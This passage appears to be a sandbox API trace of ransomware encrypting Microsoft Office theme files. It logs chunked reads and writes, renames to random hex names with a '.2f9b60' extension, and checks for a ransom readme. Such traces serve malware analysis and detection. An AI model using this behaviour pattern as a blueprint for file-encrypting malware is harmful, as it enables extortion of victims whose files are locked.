0x1b85a1e0 [0089.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a1e0) returned 1 [0089.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce5d510 [0089.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1e0 [0089.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a270 [0089.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a270) returned 1 [0089.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0089.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.035] WriteFile (in: hFile=0xa3c, lpBuffer=0x1ce5d510*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x251af7a0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesWritten=0x251af7a0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.054] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d510) returned 1 [0089.054] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c1f70 [0089.054] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0089.054] WriteFile (in: hFile=0xa3c, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x251af850, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x251af850*=0x146, lpOverlapped=0x0) returned 1 [0089.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0089.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e80 [0089.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859e80) returned 1 [0089.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0089.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859e80 [0089.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a210 [0089.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a210) returned 1 [0089.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0089.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f970 [0089.058] sprintf (in: _Dest=0x1cd9f970, _Format="%c%c" | out: _Dest="c4") returned 2 [0089.058] sprintf (in: _Dest=0x1cd9f972, _Format="%c%c" | out: _Dest="c4") returned 2 [0089.058] sprintf (in: _Dest=0x1cd9f974, _Format="%c%c" | out: _Dest="12") returned 2 [0089.058] sprintf (in: _Dest=0x1cd9f976, _Format="%c%c" | out: _Dest="aa") returned 2 [0089.058] sprintf (in: _Dest=0x1cd9f978, _Format="%c%c" | out: _Dest="10") returned 2 [0089.058] sprintf (in: _Dest=0x1cd9f97a, _Format="%c%c" | out: _Dest="8c") returned 2 [0089.058] sprintf (in: _Dest=0x1cd9f97c, _Format="%c%c" | out: _Dest="fe") returned 2 [0089.058] sprintf (in: _Dest=0x1cd9f97e, _Format="%c%c" | out: _Dest="11") returned 2 [0089.058] sprintf (in: _Dest=0x1cd9f980, _Format="%c%c" | out: _Dest="69") returned 2 [0089.058] sprintf (in: _Dest=0x1cd9f982, _Format="%c%c" | out: _Dest="60") returned 2 [0089.058] sprintf (in: _Dest=0x1cd9f984, _Format="%c%c" | out: _Dest="80") returned 2 [0089.058] sprintf (in: _Dest=0x1cd9f986, _Format="%c%c" | out: _Dest="78") returned 2 [0089.058] sprintf (in: _Dest=0x1cd9f988, _Format="%c%c" | out: _Dest="53") returned 2 [0089.058] sprintf (in: _Dest=0x1cd9f98a, _Format="%c%c" | out: _Dest="eb") returned 2 [0089.058] sprintf (in: _Dest=0x1cd9f98c, _Format="%c%c" | out: _Dest="05") returned 2 [0089.058] sprintf (in: _Dest=0x1cd9f98e, _Format="%c%c" | out: _Dest="bd") returned 2 [0089.058] sprintf (in: _Dest=0x1cd9f990, _Format="%c%c" | out: _Dest="d0") returned 2 [0089.058] sprintf (in: _Dest=0x1cd9f992, _Format="%c%c" | out: _Dest="d6") returned 2 [0089.058] sprintf (in: _Dest=0x1cd9f994, _Format="%c%c" | out: _Dest="a5") returned 2 [0089.058] sprintf (in: _Dest=0x1cd9f996, _Format="%c%c" | out: _Dest="bb") returned 2 [0089.058] RtlInitAnsiString (in: DestinationString=0x251af8c8, SourceString="c4c412aa108cfe116960807853eb05bdd0d6a5bb" | out: DestinationString="c4c412aa108cfe116960807853eb05bdd0d6a5bb") [0089.058] RtlAnsiStringToUnicodeString (in: DestinationString=0x251af898, SourceString="c4c412aa108cfe116960807853eb05bdd0d6a5bb", AllocateDestinationString=1 | out: DestinationString="c4c412aa108cfe116960807853eb05bdd0d6a5bb") returned 0x0 [0089.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9d3d0 [0089.059] wcscat (in: _Dest=0x1b7ad2a0, _Source="c4c412aa10" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\c4c412aa10") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\c4c412aa10" [0089.059] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\c4c412aa10.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\c4c412aa10.2f9b60" [0089.059] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\c4c412aa10.2f9b60", NtPathName=0x251af870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\c4c412aa10.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0089.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x106e80 [0089.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0089.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0089.074] NtQueryInformationFile (in: FileHandle=0xa3c, IoStatusBlock=0x251af8d8, FileInformation=0x251af8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x251af8d8, FileInformation=0x251af8e8) returned 0x0 [0089.074] NtSetInformationFile (FileHandle=0xa3c, IoStatusBlock=0x251af8d8, FileInformation=0x251af8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0089.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0089.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d3d0) returned 1 [0089.076] FlushFileBuffers (hFile=0xa3c) returned 1 [0089.080] CloseHandle (hObject=0xa3c) returned 1 [0089.081] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad2a0 [0089.081] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0089.081] wcscat (in: _Dest=0x1b7ad2a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0089.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0089.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0089.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b640) returned 1 Thread: id = 345 os_tid = 0xe94 [0089.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\module.thmx")) returned 0x20 [0089.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx", dwFileAttributes=0x20) returned 1 [0089.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\module.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa3c [0089.093] GetFileSizeEx (in: hFile=0xa3c, lpFileSize=0x252dfcc0 | out: lpFileSize=0x252dfcc0*=88122) returned 1 [0089.093] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x15836, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.093] ReadFile (in: hFile=0xa3c, lpBuffer=0x252dfc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x252dfc88, lpOverlapped=0x0 | out: lpBuffer=0x252dfc40*, lpNumberOfBytesRead=0x252dfc88*=0x4, lpOverlapped=0x0) returned 1 [0089.095] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a390 [0089.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a360 [0089.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0c0 [0089.095] NtQuerySystemTime (in: CurrentTime=0x252dfb80 | out: CurrentTime=0x252dfb80*=132462176949646000) returned 0x0 [0089.095] RtlRandomEx (in: Seed=0x252dfb70 | out: Seed=0x252dfb70) returned 0x1a2c1fc4 [0089.095] RtlRandomEx (in: Seed=0x252dfb70 | out: Seed=0x252dfb70) returned 0x515751c8 [0089.095] RtlRandomEx (in: Seed=0x252dfb70 | out: Seed=0x252dfb70) returned 0x4c9b6729 [0089.095] RtlRandomEx (in: Seed=0x252dfb70 | out: Seed=0x252dfb70) returned 0x5ee209a7 [0089.095] RtlRandomEx (in: Seed=0x252dfb70 | out: Seed=0x252dfb70) returned 0x360376c0 [0089.095] RtlRandomEx (in: Seed=0x252dfb70 | out: Seed=0x252dfb70) returned 0x1da0721f [0089.095] RtlRandomEx (in: Seed=0x252dfb70 | out: Seed=0x252dfb70) returned 0x694657c2 [0089.095] RtlRandomEx (in: Seed=0x252dfb70 | out: Seed=0x252dfb70) returned 0x225ddd02 [0089.095] RtlRandomEx (in: Seed=0x252dfb70 | out: Seed=0x252dfb70) returned 0x6ea52815 [0089.095] RtlRandomEx (in: Seed=0x252dfb70 | out: Seed=0x252dfb70) returned 0x173a7c89 [0089.095] RtlRandomEx (in: Seed=0x252dfb70 | out: Seed=0x252dfb70) returned 0x758dd025 [0089.096] RtlRandomEx (in: Seed=0x252dfb70 | out: Seed=0x252dfb70) returned 0x678f85dd [0089.096] RtlRandomEx (in: Seed=0x252dfb70 | out: Seed=0x252dfb70) returned 0x5de33e1e [0089.096] RtlRandomEx (in: Seed=0x252dfb70 | out: Seed=0x252dfb70) returned 0x74a39043 [0089.096] RtlRandomEx (in: Seed=0x252dfb70 | out: Seed=0x252dfb70) returned 0x75586f42 [0089.096] RtlRandomEx (in: Seed=0x252dfb70 | out: Seed=0x252dfb70) returned 0x29f59adf [0089.096] RtlRandomEx (in: Seed=0x252dfb70 | out: Seed=0x252dfb70) returned 0x41e000a9 [0089.096] RtlRandomEx (in: Seed=0x252dfb70 | out: Seed=0x252dfb70) returned 0x4efba425 [0089.096] RtlRandomEx (in: Seed=0x252dfb70 | out: Seed=0x252dfb70) returned 0x1f2ae8a5 [0089.096] RtlRandomEx (in: Seed=0x252dfb70 | out: Seed=0x252dfb70) returned 0x7c92ee4a [0089.096] RtlRandomEx (in: Seed=0x252dfb70 | out: Seed=0x252dfb70) returned 0x605c307a [0089.096] RtlRandomEx (in: Seed=0x252dfb70 | out: Seed=0x252dfb70) returned 0x76ebaf56 [0089.096] RtlRandomEx (in: Seed=0x252dfb70 | out: Seed=0x252dfb70) returned 0x477b73f9 [0089.096] RtlRandomEx (in: Seed=0x252dfb70 | out: Seed=0x252dfb70) returned 0x4fb62993 [0089.096] RtlRandomEx (in: Seed=0x252dfb70 | out: Seed=0x252dfb70) returned 0x8a43164 [0089.096] RtlRandomEx (in: Seed=0x252dfb70 | out: Seed=0x252dfb70) returned 0x724e751e [0089.096] RtlRandomEx (in: Seed=0x252dfb70 | out: Seed=0x252dfb70) returned 0x76845c82 [0089.096] RtlRandomEx (in: Seed=0x252dfb70 | out: Seed=0x252dfb70) returned 0x476e2908 [0089.096] RtlRandomEx (in: Seed=0x252dfb70 | out: Seed=0x252dfb70) returned 0x2e8ab6eb [0089.096] RtlRandomEx (in: Seed=0x252dfb70 | out: Seed=0x252dfb70) returned 0x5340ebb [0089.096] RtlRandomEx (in: Seed=0x252dfb70 | out: Seed=0x252dfb70) returned 0x670ddf0 [0089.096] RtlRandomEx (in: Seed=0x252dfb70 | out: Seed=0x252dfb70) returned 0x77bd2ef9 [0089.105] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.105] ReadFile (in: hFile=0xa3c, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x252dfbe0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x252dfbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.107] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0089.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a390 [0089.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a390) returned 1 [0089.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cea4d30 [0089.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a390 [0089.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0c0 [0089.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a0c0) returned 1 [0089.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0089.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.108] WriteFile (in: hFile=0xa3c, lpBuffer=0x1cea4d30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x252dfbe0, lpOverlapped=0x0 | out: lpBuffer=0x1cea4d30*, lpNumberOfBytesWritten=0x252dfbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cea4d30) returned 1 [0089.112] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.112] ReadFile (in: hFile=0xa3c, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x252dfbe0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x252dfbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.125] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0089.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0c0 [0089.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a0c0) returned 1 [0089.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cea8940 [0089.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0c0 [0089.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a1e0 [0089.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a1e0) returned 1 [0089.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0089.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.126] WriteFile (in: hFile=0xa3c, lpBuffer=0x1cea8940*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x252dfbe0, lpOverlapped=0x0 | out: lpBuffer=0x1cea8940*, lpNumberOfBytesWritten=0x252dfbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cea8940) returned 1 [0089.129] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x11c3a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.129] ReadFile (in: hFile=0xa3c, lpBuffer=0x1ce5d510, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x252dfbe0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesRead=0x252dfbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.131] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x11c3a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0089.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a210 [0089.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a210) returned 1 [0089.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cea8940 [0089.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a210 [0089.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a2a0 [0089.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a2a0) returned 1 [0089.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0089.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.132] WriteFile (in: hFile=0xa3c, lpBuffer=0x1cea8940*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x252dfbe0, lpOverlapped=0x0 | out: lpBuffer=0x1cea8940*, lpNumberOfBytesWritten=0x252dfbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0089.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cea8940) returned 1 [0089.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c1f70 [0089.136] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0089.137] WriteFile (in: hFile=0xa3c, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x252dfc90, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x252dfc90*=0x148, lpOverlapped=0x0) returned 1 [0089.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0089.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e070 [0089.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a120 [0089.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a120) returned 1 [0089.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0089.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a120 [0089.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a240 [0089.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a240) returned 1 [0089.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e070) returned 1 [0089.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0089.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f970 [0089.145] sprintf (in: _Dest=0x1cd9f970, _Format="%c%c" | out: _Dest="4a") returned 2 [0089.145] sprintf (in: _Dest=0x1cd9f972, _Format="%c%c" | out: _Dest="52") returned 2 [0089.145] sprintf (in: _Dest=0x1cd9f974, _Format="%c%c" | out: _Dest="fc") returned 2 [0089.145] sprintf (in: _Dest=0x1cd9f976, _Format="%c%c" | out: _Dest="f6") returned 2 [0089.145] sprintf (in: _Dest=0x1cd9f978, _Format="%c%c" | out: _Dest="52") returned 2 [0089.145] sprintf (in: _Dest=0x1cd9f97a, _Format="%c%c" | out: _Dest="90") returned 2 [0089.145] sprintf (in: _Dest=0x1cd9f97c, _Format="%c%c" | out: _Dest="b5") returned 2 [0089.145] sprintf (in: _Dest=0x1cd9f97e, _Format="%c%c" | out: _Dest="41") returned 2 [0089.145] sprintf (in: _Dest=0x1cd9f980, _Format="%c%c" | out: _Dest="ba") returned 2 [0089.145] sprintf (in: _Dest=0x1cd9f982, _Format="%c%c" | out: _Dest="02") returned 2 [0089.145] sprintf (in: _Dest=0x1cd9f984, _Format="%c%c" | out: _Dest="ea") returned 2 [0089.145] sprintf (in: _Dest=0x1cd9f986, _Format="%c%c" | out: _Dest="2d") returned 2 [0089.145] sprintf (in: _Dest=0x1cd9f988, _Format="%c%c" | out: _Dest="8d") returned 2 [0089.145] sprintf (in: _Dest=0x1cd9f98a, _Format="%c%c" | out: _Dest="2f") returned 2 [0089.145] sprintf (in: _Dest=0x1cd9f98c, _Format="%c%c" | out: _Dest="06") returned 2 [0089.146] sprintf (in: _Dest=0x1cd9f98e, _Format="%c%c" | out: _Dest="24") returned 2 [0089.146] sprintf (in: _Dest=0x1cd9f990, _Format="%c%c" | out: _Dest="80") returned 2 [0089.146] sprintf (in: _Dest=0x1cd9f992, _Format="%c%c" | out: _Dest="79") returned 2 [0089.146] sprintf (in: _Dest=0x1cd9f994, _Format="%c%c" | out: _Dest="b3") returned 2 [0089.146] sprintf (in: _Dest=0x1cd9f996, _Format="%c%c" | out: _Dest="c2") returned 2 [0089.146] sprintf (in: _Dest=0x1cd9f998, _Format="%c%c" | out: _Dest="79") returned 2 [0089.146] sprintf (in: _Dest=0x1cd9f99a, _Format="%c%c" | out: _Dest="f8") returned 2 [0089.146] RtlInitAnsiString (in: DestinationString=0x252dfd08, SourceString="4a52fcf65290b541ba02ea2d8d2f06248079b3c279f8" | out: DestinationString="4a52fcf65290b541ba02ea2d8d2f06248079b3c279f8") [0089.146] RtlAnsiStringToUnicodeString (in: DestinationString=0x252dfcd8, SourceString="4a52fcf65290b541ba02ea2d8d2f06248079b3c279f8", AllocateDestinationString=1 | out: DestinationString="4a52fcf65290b541ba02ea2d8d2f06248079b3c279f8") returned 0x0 [0089.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b7c2210 [0089.146] wcscat (in: _Dest=0x1b7ad2a0, _Source="4a52fcf6529" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\4a52fcf6529") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\4a52fcf6529" [0089.146] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\4a52fcf6529.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\4a52fcf6529.2f9b60" [0089.146] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\4a52fcf6529.2f9b60", NtPathName=0x252dfcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\4a52fcf6529.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0089.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x106e80 [0089.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0089.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1230d0) returned 1 [0089.160] NtQueryInformationFile (in: FileHandle=0xa3c, IoStatusBlock=0x252dfd18, FileInformation=0x252dfd28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x252dfd18, FileInformation=0x252dfd28) returned 0x0 [0089.160] NtSetInformationFile (FileHandle=0xa3c, IoStatusBlock=0x252dfd18, FileInformation=0x252dfd28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0089.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0089.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2210) returned 1 [0089.161] FlushFileBuffers (hFile=0xa3c) returned 1 [0089.163] CloseHandle (hObject=0xa3c) returned 1 [0089.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ad2a0 [0089.164] wcscpy (in: _Dest=0x1b7ad2a0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0089.164] wcscat (in: _Dest=0x1b7ad2a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0089.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0089.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0089.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b6d0) returned 1 Thread: id = 346 os_tid = 0xe98 [0089.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\newsprint.thmx")) returned 0x20 [0089.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx", dwFileAttributes=0x20) returned 1 [0089.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Newsprint.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\newsprint.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa44 [0089.110] GetFileSizeEx (in: hFile=0xa44, 